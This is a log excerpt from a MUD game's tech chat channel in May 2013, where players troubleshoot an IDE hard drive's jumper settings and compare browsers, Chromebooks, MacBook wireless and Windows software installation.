T3/r7/2013-05-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Which FF you using, Air?
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: do you live in 1996?
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Mine never gets quite that bad, and I leave it running for about a week (before corparate updates force a shutdown)
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Usually 10+ tabs :P
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Laughing Airmeith Tech: it says 20.0.1
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger goes, "Hmmmm."
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I'm running 20.0 still
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: btw, chrome also eats tons of ram with web apps
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Chrome eats more with tabs, not so much due to a leak
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but it's nicer for most people who don't use addons to customize their web experience
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: anyway, i haven't noticed a leak. ram usage goes up to 1 gig sometimes, but i do have a ton of tabs and stuff open when it happens. most of it is page cache
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: there are some things i don't like tho. i'd switch to chrome if i got vertical tabs and a few other plugins would be as awesome as on ff
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Six-String Strazor Tech: is there an ignore line command in musch when creating a standard alias?
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Ixle Tech: Is there anything besides the connect/reconnect line from the mud that is sent when you login and only when you login?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Quests being available via gmcp just makes me feel spoiled when it comes to coding for campaigns and gqs :-(
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: maybe you shouldnt be coding for gq/cps ;)
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: so I got a new ide HHD and when I plug it in the pc picks it up in bios but when I run it as slave my pc won't go past the win 7 logo..any ideas?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Did you just say new and ide in the same sentence? :-P
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: ...you know what I ment
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I did?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: ..how do I get it to work on my pc?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I'm confused... did you mean ide or didn't you?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: I ment I got a new as in just bought ide HHD
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: you understand that ide is a method of connecting hard disks that hasnt been in use for years?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: unless you've a very old PC there isnt much chance your computer will support that type anymore
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I don't even know that ide would have the bandwidth to load windows 7...
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: you do realize that noa used my pc to count the animals on the arc right?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ayasinda Tech: lol
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: then your computer should have an IDE cable inside that you can connect the hard disk to
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: you will have to configure the jumpers on the back of the hard disk to make sure its either master or slave depending on what the other device on the cable is
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: ...it is connected...if I connect it with my current one it doesent load past win 7 logo
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: http://answers.microsoft.com/en-us/windows/forum/windows_7-hardware/bios-recognizes-ide-hard-drives-windows-7/dee5c9f9-e8e1-4662-98eb-f4fc79c54b5a
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: just throw the drive out. there's no reason for you to use one
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: when i plug a sata HDD into my pc my pc is like...hahahahah you want me to read that?...NO!
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If your PC won't take SATA and won't take IDE, you have the choice of SCSI or a new mobo...
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: avoiding the fact you honestly probably need a new computer - did you configure the jumpers correctly on the new hard disk?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: it does run ide...i curently have a ide HDD but i want to add anothere this is where the problem comes in
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: is it on the primary or secondary channel? do you have an IDE cdrom/dvd as well?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: i dono...it looks right :D
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: wtf are you running win7 on ide? You will get better results from XP, for sure
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: i had exp and it crashed so i only had win 7 to install so yah :)
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: how many ide cables are there inside your computer?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: 2 the 1 is running my current HDD and my dvd-r and the other on the other HDD
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: and your computer boots without the second hard disk connected but fails to start if you connect it?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I'm no IDE meister, but should the slave drive not be on the same rail as the primary?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: correct
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: the drive actually new or second hand/
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: new
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Tech: Yes, THAT Neeper sits down and thinks deeply. 
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: does the new hard drive have a label on the back near the jumpers that tell you what the different configurations
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: are8
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: the jumpers are  between the power socket and the ide socket
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: it does...curently my main HDD has no jumper set to it
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: no jumpers means cable select
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but seriously - throw that rig out
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: sure :) give me a new one and I will
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: This is the same rig which is open to the elements, right?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: pay for the shipping and i'll do that
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: cool ill pay it
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: where do you live?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: nah I closed it after last chat :)
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: south africa :)
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That is good :D Don't want you getting electrocuted
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: heh sorry, router died
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: what setting are the jumpers on currently for the new disk?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: yah...anyway..I have no idea how to set the jumpers...and to make it worce...I have a grand total of 1 jumper :P
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: let me check
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: thats fine, jumpers are a set of 6 or 8 pins, you need to put the jumper across the right two pins to tell the hard disk what mode to operate in
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: looks like cable select
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: ide hard disks typically have a label to show the different configs
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: can you see which two pins indicate master?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: second shutting down :P
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: hmm. the fedex would be ca 300 euros. you should get a new one for that money
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: not around here you wont
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: heh just had a look, i can't' even buy IDE hard disks at my supplier anymore
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: single or master is no jumper
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Tigernuts Tech: cable select, otherwise known as cable random guess and get it wrong
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: cool, rip that jumper out of there
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: there whasent one in there :P
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: you said it was on cable select?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: the second hdd yes the main has no jumper
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: All I can get are IDE HDD to USB cables or docks
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: thats a thought, this pc on or off? :)
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: so on the new hdd no jumper is master jumper in the middle is master with slave present slave is second last pin
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: off
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: and its the only thing connected on that cable?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: sorry my new isp's internet router is flakey i keep getting kicked off
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: well I'm going to connect both hdd's on the same cable now
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Increase idle timeouts... they always get shipped with pisspoor timeouts, all countries, all isps, pretty much without fail.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: er ok? good luck
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: not where i live, vakieh
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: I find it funny that windows installation takes 5 actual minutes to drop 1 min on the installation time
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: and?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: its wasn't a question...it was a statement
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Tech: Tech Bloke Danj is 35 today
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Tigernuts Tech: haha!
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Tigernuts Tech: i'm already 35, woops
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ayasinda Tech: 35? hmmm I sem to recall I was that age too once.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: is there a reason blackberry desctop softwear won't install in windows xp sp3?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Vonliege Tech: so... I have an aliase that has to parts - the first part is a world command - the second is an execute.  I have the alias set to 'execute', but I need to delay the 'execute' part till after the world even is complete (a recall - about 1 sec)... otherwise, the execute command first IMMEDIATLY after the world command is sent to the mud, and conditions are not set for it to so what it needs to do....  I need a 1,500ms delay.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Bertilak Tech: you need to use the doafter function
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Kurz Tech: how do I make the timer for making cexits longer?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Kurz Tech: nvm, found it.  mapper cexit_wait 
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Teklor Tech: anyone familiar with nick gammons consider window script?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: anybody familiar with macbooks having really poor wireless range?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Vonliege Tech: what's a "macbook"?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Vonliege Tech: =)
T3/r7/2013-05-11.txt.gz:{chan ch=tech}HelperMan Hadar Tech: did not know mac and cheese had wireless
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: so i bought mym wife a macbook air.  but it seems to have ultra poor wireless range.  ancient PC laptops have no issues at all.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Vonliege Tech: AHHH!  I actually now this one... it's the antenne... ultra small for the ultra small notebook
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Sneak Tech: no it doesn't. I have no issues with any of mine.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Vonliege Tech: something abotu not enough room for insulation between it, and the screen, so they wrapped it around the bottom, instead of around the screen like in a conventional notebook
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Vonliege Tech: not fingin anything on google, though... probobly old new... or just plain false.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: first time i've ever bought an apple product.. for my wife... i think this puppy is going back
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Sneak Tech: ask the Apple Genius to check the laptop
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Vonliege Tech: here it is:  http://forums.macrumors.com/showthread.php?t=1289884
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Vonliege Tech: couple years old.. might still be relevent
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: False. Airs in generally seem to have rather excellent wifi connection
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Sneak Tech: Thats what I said - I've never had problems with any of mine so far.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: ah i was more referring to von. Or at least, rather it being a design flaw.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Endtime Tech: any ideas what this message might be referring to. I also suffer from some pretty shoddy wi-fi reception on a laptop that is like 5 feet from the router. Message I received from a quick troubleshoot: Your computer appears to be correctly configured, but the device or resource (DNS server) is not responding
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: yea i see numerous reports of MBA poor wireless issues
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: will try a few of their suggestions.  apple products are such absurdly overpriced for the specs, i hope my wife gets annoyed and sends it back
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: lol. Well, do what you like. If wireless is your main concern, and it meets her needs, you might look at the Chrome Pixel
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: http://www.google.com/intl/en_us/chrome/devices/chromebook-pixel/ 
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: If an air does, I suspect so shall that
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: But, maybe not.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ixle Tech: I wish they had made the pixel convertible style.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: No way.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: Hardware wise those things are perfect. And convertible hinges are... well. Not.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ixle Tech: Without the sketchy hinge the pricey touch screen isn't going to get utilized nearly as much, imo.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: That.. I totally agree with. I don't see a benefit in making it touch, unless they're going to make a tablet device using the same screen.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: think I'll just send it back and keep her on a PC.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: They just enabled a on screen touch keyboard for it in one of the dev releases as well.. which.. is odd considering its a laptop with a full keyboard
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ixle Tech: Which makes me feel even more like it's a pricey testing ground for future stuff
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: Maybe so. They are very solid devices, for what they are though. I'm tempted to pick one up for myself, if not one of the lower end chromebooks to play with
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ixle Tech: I just decided to experiment with the $199 version
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ixle Tech: the acer c7
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: how do you like it?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ixle Tech: It does the 2 things I need very well. (ssh / browser)
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ixle Tech: It's fast and responsive and stable even on the dev version.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: Cool cool. I know theres supposed to be some nice RDP plugins and such for it as well
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ixle Tech: It's upgradable to a ssd and extra ram, can't recall exactly how much, above the default 2.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: I thought they were all integrated smaller SSDs
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ixle Tech: Not this one, strangely it's got a 320gb hd in it
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: Ah, looks like its just the C7. odd
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: oo. They're selling the HP model now
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ixle Tech: It's a very minimalistic and configuration-free UI. I wish they'd give on that principle a little.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: https://www.google.com/intl/en/chrome/devices/hp-pavilion-chromebook.html#specs
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ixle Tech: Oh this thing is tiny too. 11.6" so the keyobard took a while to get used to and they made some modifications to to it I'm not crazy about and cause issues in some CLI programs.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: kind of the downside to the smaller devices.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: this HP one looks to be reasonable standard kb to me.. but im bad with that
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ixle Tech: I do not see ram listed in the specs. Am I blind?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: I do not see it either.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: cnet says 2gb, 4gb max
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ixle Tech: I like the home/end/pg up/down key placememnt better on that keyboard
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ixle Tech: I wish they would've used a modifier key plus function keys for the shortcuts instead of hijacking the entire top row for OS stuff
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: Fair. Or maybe add it on a capslock/numlock style toggle
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ixle Tech: They'd do well to implement pinch/zoom on the touchpad
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ixle Tech: Not that ctl++ is that hard to type
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ixle Tech: I just figure they're going to start putting this on tabletish stuff sooner or later
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: Seems to be the way it's going. Though, I wonder if they're not passing on pinch to zoom on the trackpad due to fear of apple litigation.. I knew they had issues when they added it to android on the touchscreen
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Tech: Ixle sighs.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ixle Tech: Who invented the wheel again?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: No clue.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: And didn't say I agreed with it - but just idle thought on why they might not have done it
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ixle Tech: Nod I understood, it's just depressingly counterproductive.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ixle Tech: You know I could also go for a lot more command line tools in the shell. It's embarrasingly limited. You can hack it and even install full ubuntu if you want, but just some more unix commands by default would make a huge difference.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: on the chromebook you mean?
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ixle Tech: For instance I want to do some benchmarks before/after upgrading the RAM and the SSD, think I'm going to find an chrome extension in the webstore for that? :p
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ixle Tech: I'll have to switch it to developer mode/wipe and boot ubuntu to do them and it won't be nearly as accurate with unity running and all that ubuntu bloat.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Ixle Tech: But, $217 out the door so what can you really say.
T3/r7/2013-05-11.txt.gz:{chan ch=tech}Daloran Tech: nod i suppose. Plus i dont think theyre really for the type of people that is likely to benchmark their own system
T3/r7/2013-05-12.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: err... my map window seems to have uhm... condensed somehow
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Scroll wheel?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tech: minimap or graphical map?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: ah.. no scroll wheel, but I do have a slider on my laptop
T3/r7/2013-05-12.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: and that must have done it :) tahnks
T3/r7/2013-05-12.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: thanks too
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tech: yeah, it's zoomable
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The map is zoomable, and as far back as it can go it looks like it all decided to have a party in a single pixel :-P
T3/r7/2013-05-12.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: and that is pretty damn cool besides... definitely using the function goiung foward
T3/r7/2013-05-12.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: meh... can't type tonight it seems
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Jeejee Tech: my mush is not storing every time all aliases what i have changed, should i push some save button or somethig else?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: what is microsoft.NET framework 2.0 SP1?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Ranrr Tech: One more thing to download because there is no package manager on windows?!
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: there is and .net is included. at least in w7
T3/r7/2013-05-12.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: because I installed windows xp SP3 as instructed but now my blackberry desctop softwear won't install
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Ranrr Tech: There is a package manager in W7 that handles dependencies automatically? Cool.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: missing .net? just download the runtime
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: windows-side, yeah. there's the windows features tool
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but third party soft doesn't really come with many deps. it's usually either java or .net
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Ranrr Tech: So I could just ask it to get me e.g. a C compiler or open office, or something, and it downloads it and dependencies automatically?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: when it comes to software it's really hard to compare those two. apples and oranges. the approach is radically different
T3/r7/2013-05-12.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: so how do I fix my prob? :P
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i told you - get .net. that's what it's asking for, right?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Ranrr Tech: I'll take that as a no, then.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: nah, ranrr. it's about windows features only. not third party software
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i use ninite. it's a nice tool for basic installs and resembles a package manager
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but like i said - apples and oranges. altho i wouldn't mind getting win apps from repos
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Ranrr Tech: I'm spoiled with just having to do e.g. apt-get install perl5, so whenever I am forced to install stuff on windows, it feels very primitive.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: if you insist you could use wget-analogue in cmd and launch the installer with the necessary flags :P
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Ranrr Tech: That requires me to know the URL, and to have the dependencies in advance.... so it would defeat the purpose.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: also, apt-get suck. real men use aptitude ;)
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: there are no deps tho
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Ranrr Tech: They say so, but I have not found a single case where it makes a difference.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Ranrr Tech: Well, .net is a dep, for example, for a lot of stuff.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yeah, you might have to install it once if you do a stripped down install. they're usually bundled already
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: in w7 you might have to fill a checkbox if you want a legacy version
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Ranrr Tech: The reason that there are few dependencies for third party stuff is that there is no package manager, so each program has to bundle all its dependencies.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yeah. they usually throw is a couple of dlls in the installer
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but still - apples and oranges
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: while i like aptitude a lot, it wouldn't make sense on windows because of the application ecosystem
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: oh, btw, i just remembered that w8 comes with an abomination called windows store or something
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: that's an package manager with a central repo
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Laughing Airmeith Tech: abomination is right
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but windows rt was doa and there's nothing to get from there
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: my friend got a surface from work. nice piece of hardware, but the software sucks hard
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: lets hope windows blue delivers
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Ranrr Tech: Yeah, I guess a package manager with a central repo works best for free software, which it seems a lot of windows users don't use a lot of.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Ranrr Tech: oops, that was a weird sentence.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: hopefully they're sticking with the classic awful/awesome tick/tock release cycle
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yeah, and false as well
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Ranrr Tech: Oh. Windows users use a lot of free software?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: only non-free apps i'm running right now are skype, foobar2k and zmud
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Zetkax Tech: what is foobar2k?
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Ranrr Tech: I guess I'm mostly familiar with business users.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: there are few other closed source apps, but most are open source
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: foobar2k is the best music player out there
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Laughing Airmeith Tech: firefox, skype, steam, aardmush, ts3, mediamonkey, evemon, google docs... none paid.  Photoshop/Lightroom are my paid ones beyond my gaming.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: well, most feature rich and awesome at least. definitely not the easiest to set up
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Laughing Airmeith Tech: many are closed-source, but not paid apps
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: not like that. we're talking about free as in open source
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Tech: Laughing Airmeith nods.
T3/r7/2013-05-12.txt.gz:{chan ch=tech}Ranrr Tech: Yeah, by free I meant libre, open source, free. Not just gratis.
